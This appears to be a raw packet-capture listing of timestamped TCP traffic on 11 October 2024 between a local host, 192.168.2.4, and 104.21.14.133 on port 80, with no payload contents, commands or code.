Oct 11, 2024 04:10:43.757076025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.757076025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.757129908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.757147074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.757160902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.757177114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.757183075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.757191896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.757210970 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.757210970 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.757230043 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.757296085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.757312059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.757328033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.757358074 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.757390022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.757445097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.757461071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.757498980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.757498980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841015100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841032982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841058016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841083050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841108084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841104984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841104984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841104984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841124058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841150045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841166973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841183901 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841193914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841193914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841193914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841193914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841200113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841217041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841226101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841226101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841243982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841253042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841259956 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841274023 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841279030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841295958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841299057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841299057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841311932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841320038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841329098 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841346979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841346979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841362953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841378927 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841393948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841414928 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841414928 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841433048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841440916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841440916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841458082 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841474056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841490030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841506004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841507912 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841531992 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841532946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841548920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841552973 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841567993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841578007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841583967 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841602087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841603994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841604948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841620922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841624022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841638088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841643095 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841655016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841671944 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841671944 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841691017 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841696978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841715097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841730118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841748953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841766119 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841773033 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841773033 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841792107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841806889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841808081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841835022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841851950 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841850996 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841851950 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841867924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841883898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841895103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841902018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841917038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841917992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841934919 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841955900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841969013 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841976881 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.841986895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.841994047 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842004061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842010975 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842022896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842030048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842050076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842057943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842068911 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842083931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842099905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842114925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842130899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842134953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842149019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842154026 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842164040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842175007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842183113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842194080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842200994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842212915 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842220068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842240095 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842240095 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842247963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842262983 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842264891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842283010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842303038 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842314959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842333078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842336893 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842355013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842356920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842382908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842398882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842400074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842398882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842417955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842444897 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842451096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842461109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842472076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842478991 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842494965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842503071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842513084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842525959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842539072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842555046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842561960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842571020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842591047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842601061 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842617035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842622995 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842634916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842642069 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842659950 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842667103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842675924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842691898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842700005 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842709064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842725039 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842726946 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842726946 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842749119 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842751980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842751980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842767000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842772961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842782974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842798948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842798948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842816114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842827082 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842827082 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842833996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842847109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842850924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842868090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842869997 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842885017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842889071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842907906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842911005 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842928886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842935085 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842935085 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842946053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842956066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842962980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842981100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.842984915 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842984915 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.842998028 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.843004942 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.843014956 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.843027115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.843034029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.843051910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.843053102 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.843065023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.843072891 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.843082905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.843117952 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.843128920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.843135118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.843152046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.843164921 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.843168020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.843183994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.843185902 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.843199968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.843210936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.843210936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.843215942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.843230963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.843233109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.843250036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.843276024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.843276024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.933702946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.933741093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.933795929 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.933800936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.933801889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.933852911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.933875084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.933897972 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.933911085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.933964014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.933965921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934016943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934016943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934053898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934067965 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934108973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934111118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934161901 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934165955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934217930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934268951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934273005 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934302092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934318066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934335947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934355974 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934386969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934422016 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934437990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934443951 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934472084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934520960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934521914 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934556007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934571028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934604883 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934612036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934663057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934669018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934720039 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934741974 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934762955 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934770107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934804916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934818029 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934839010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934854984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934878111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934895039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934927940 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934931040 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.934962988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.934978008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935013056 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935014009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935049057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935061932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935082912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935097933 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935118914 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935153008 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935169935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935187101 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935189962 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935209036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935221910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935256004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935266018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935306072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935357094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935365915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935412884 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935465097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935517073 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935518026 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935558081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935573101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935606003 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935610056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935658932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935662031 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935697079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935709953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935745955 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935746908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935782909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935815096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935833931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935847998 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935863972 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935883045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935899019 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935934067 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.935935974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935971022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.935982943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936017036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936027050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936059952 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.936078072 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.936094999 CEST	80	49733	104.21.14.133	192.168.2.4
